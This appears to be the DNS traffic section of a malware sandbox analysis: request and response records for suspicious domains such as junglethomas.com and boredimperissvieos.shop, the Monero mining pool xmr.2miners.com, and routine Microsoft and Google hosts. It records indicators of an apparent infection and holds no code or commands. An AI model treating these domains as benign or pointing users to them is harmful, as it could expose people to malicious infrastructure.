                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Response
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    junglethomas.com
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN A
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    104.21.92.190
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    junglethomas.com
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN A
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    172.67.197.33
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • flag-us
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    junglethomas.com
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Remote address:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    8.8.8.8:53
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Request
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    junglethomas.com
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN A
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • flag-us
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    192.182.67.172.in-addr.arpa
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Remote address:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    8.8.8.8:53
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Request
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    192.182.67.172.in-addr.arpa
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN PTR
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Response
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • flag-us
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    boredimperissvieos.shop
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Remote address:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    8.8.8.8:53
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Request
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    boredimperissvieos.shop
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN A
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Response
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    boredimperissvieos.shop
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN A
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    172.67.186.30
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    boredimperissvieos.shop
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN A
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    104.21.72.135
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • flag-us
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    59.9.26.104.in-addr.arpa
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Remote address:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    8.8.8.8:53
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Request
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    59.9.26.104.in-addr.arpa
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN PTR
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Response
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • flag-us
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    71.84.21.104.in-addr.arpa
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Remote address:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    8.8.8.8:53
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Request
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    71.84.21.104.in-addr.arpa
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN PTR
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Response
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • flag-us
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    ctldl.windowsupdate.com
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Remote address:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    8.8.8.8:53
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Request
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    ctldl.windowsupdate.com
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN A
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Response
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    ctldl.windowsupdate.com
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN CNAME
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    ctldl.windowsupdate.com.delivery.microsoft.com
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    ctldl.windowsupdate.com.delivery.microsoft.com
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN CNAME
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    wu-b-net.trafficmanager.net
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    wu-b-net.trafficmanager.net
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN CNAME
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    download.windowsupdate.com.edgesuite.net
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    download.windowsupdate.com.edgesuite.net
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN CNAME
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    a767.dspw65.akamai.net
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    a767.dspw65.akamai.net
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN A
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    92.123.143.240
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    a767.dspw65.akamai.net
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN A
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    92.123.143.233
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • flag-us
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    11.97.55.23.in-addr.arpa
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Remote address:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    8.8.8.8:53
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Request
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    11.97.55.23.in-addr.arpa
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN PTR
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Response
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    11.97.55.23.in-addr.arpa
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN PTR
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    a23-55-97-11deploystaticakamaitechnologiescom
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • flag-us
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    175.132.233.193.in-addr.arpa
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Remote address:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    8.8.8.8:53
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Request
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    175.132.233.193.in-addr.arpa
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN PTR
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Response
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • flag-us
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    79.193.67.172.in-addr.arpa
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Remote address:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    8.8.8.8:53
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Request
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    79.193.67.172.in-addr.arpa
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN PTR
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Response
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • flag-us
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    70.29.182.210.in-addr.arpa
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Remote address:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    8.8.8.8:53
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Request
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    70.29.182.210.in-addr.arpa
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN PTR
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Response
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • flag-us
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    70.29.182.210.in-addr.arpa
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Remote address:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    8.8.8.8:53
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Request
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    70.29.182.210.in-addr.arpa
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN PTR
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • flag-us
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    201.44.21.104.in-addr.arpa
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Remote address:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    8.8.8.8:53
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Request
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    201.44.21.104.in-addr.arpa
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN PTR
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Response
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • flag-us
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    33.128.172.185.in-addr.arpa
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Remote address:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    8.8.8.8:53
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Request
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    33.128.172.185.in-addr.arpa
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN PTR
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Response
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • flag-us
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    147.44.41.31.in-addr.arpa
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Remote address:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    8.8.8.8:53
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Request
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    147.44.41.31.in-addr.arpa
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN PTR
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Response
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    147.44.41.31.in-addr.arpa
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN PTR
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    shpikadjanquexamplecom
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • flag-us
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    190.92.21.104.in-addr.arpa
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Remote address:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    8.8.8.8:53
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Request
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    190.92.21.104.in-addr.arpa
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN PTR
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Response
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • flag-us
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    121.150.80.3.in-addr.arpa
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Remote address:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    8.8.8.8:53
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Request
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    121.150.80.3.in-addr.arpa
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN PTR
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Response
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    121.150.80.3.in-addr.arpa
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN PTR
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    ec2-3-80-150-121 compute-1 amazonawscom
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • flag-us
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    clients2.google.com
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Remote address:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    8.8.8.8:53
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Request
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    clients2.google.com
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN A
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Response
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    clients2.google.com
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN CNAME
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    clients.l.google.com
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    clients.l.google.com
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN A
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    172.217.16.238
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • flag-us
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    76.60.21.104.in-addr.arpa
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Remote address:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    8.8.8.8:53
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Request
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    76.60.21.104.in-addr.arpa
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN PTR
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Response
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • flag-us
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    72.183.67.172.in-addr.arpa
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Remote address:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    8.8.8.8:53
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Request
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    72.183.67.172.in-addr.arpa
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN PTR
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Response
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • flag-us
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    10.66.42.5.in-addr.arpa
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Remote address:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    8.8.8.8:53
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Request
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    10.66.42.5.in-addr.arpa
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN PTR
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Response
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • flag-us
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    ctldl.windowsupdate.com
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Remote address:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    8.8.8.8:53
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Request
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    ctldl.windowsupdate.com
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN A
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Response
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    ctldl.windowsupdate.com
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN CNAME
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    ctldl.windowsupdate.com.delivery.microsoft.com
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    ctldl.windowsupdate.com.delivery.microsoft.com
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN CNAME
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    wu-b-net.trafficmanager.net
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    wu-b-net.trafficmanager.net
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN CNAME
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    download.windowsupdate.com.edgesuite.net
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    download.windowsupdate.com.edgesuite.net
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN CNAME
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    a767.dspw65.akamai.net
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    a767.dspw65.akamai.net
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN A
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    2.18.190.77
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    a767.dspw65.akamai.net
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN A
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    2.18.190.79
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • flag-us
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    nexusrules.officeapps.live.com
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Remote address:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    8.8.8.8:53
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Request
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    nexusrules.officeapps.live.com
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN A
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Response
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    nexusrules.officeapps.live.com
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN CNAME
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    prod.nexusrules.live.com.akadns.net
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    prod.nexusrules.live.com.akadns.net
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN A
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    52.111.227.11
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • flag-us
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    www.googleapis.com
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Remote address:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    8.8.8.8:53
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Request
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    www.googleapis.com
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN A
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Response
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    www.googleapis.com
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN A
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    142.250.178.10
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    www.googleapis.com
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN A
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    172.217.16.234
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    www.googleapis.com
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN A
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    142.250.200.10
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    www.googleapis.com
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN A
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    142.250.200.42
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    www.googleapis.com
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN A
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    216.58.201.106
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    www.googleapis.com
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN A
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    216.58.204.74
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    www.googleapis.com
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN A
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    216.58.213.10
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    www.googleapis.com
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN A
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    172.217.169.10
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    www.googleapis.com
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN A
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    216.58.212.202
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    www.googleapis.com
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN A
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    216.58.212.234
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    www.googleapis.com
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN A
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    172.217.169.42
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    www.googleapis.com
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN A
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    142.250.179.234
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    www.googleapis.com
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN A
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    142.250.180.10
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    www.googleapis.com
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN A
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    142.250.187.202
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    www.googleapis.com
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN A
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    142.250.187.234
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • flag-us
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    97.201.58.216.in-addr.arpa
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Remote address:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    8.8.8.8:53
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Request
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    97.201.58.216.in-addr.arpa
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN PTR
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Response
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    97.201.58.216.in-addr.arpa
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN PTR
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    lhr48s48-in-f11e100net
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    97.201.58.216.in-addr.arpa
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN PTR
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    prg03s02-in-f1�G
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    97.201.58.216.in-addr.arpa
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN PTR
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    prg03s02-in-f97�G
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • flag-us
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    131.176.67.172.in-addr.arpa
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Remote address:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    8.8.8.8:53
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Request
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    131.176.67.172.in-addr.arpa
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN PTR
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Response
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • flag-us
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    178.188.67.172.in-addr.arpa
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Remote address:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    8.8.8.8:53
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Request
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    178.188.67.172.in-addr.arpa
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN PTR
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Response
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • flag-us
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    192.186.117.34.in-addr.arpa
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Remote address:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    8.8.8.8:53
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Request
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    192.186.117.34.in-addr.arpa
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN PTR
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Response
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    192.186.117.34.in-addr.arpa
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN PTR
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    19218611734bcgoogleusercontentcom
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • flag-us
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    xmr.2miners.com
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Remote address:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    8.8.8.8:53
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Request
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    xmr.2miners.com
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN A
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Response
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    xmr.2miners.com
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN A
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    162.19.139.184
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • flag-us
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    x1.c.lencr.org
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Remote address:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    8.8.8.8:53
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Request
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    x1.c.lencr.org
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN A
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Response
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    x1.c.lencr.org
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN CNAME
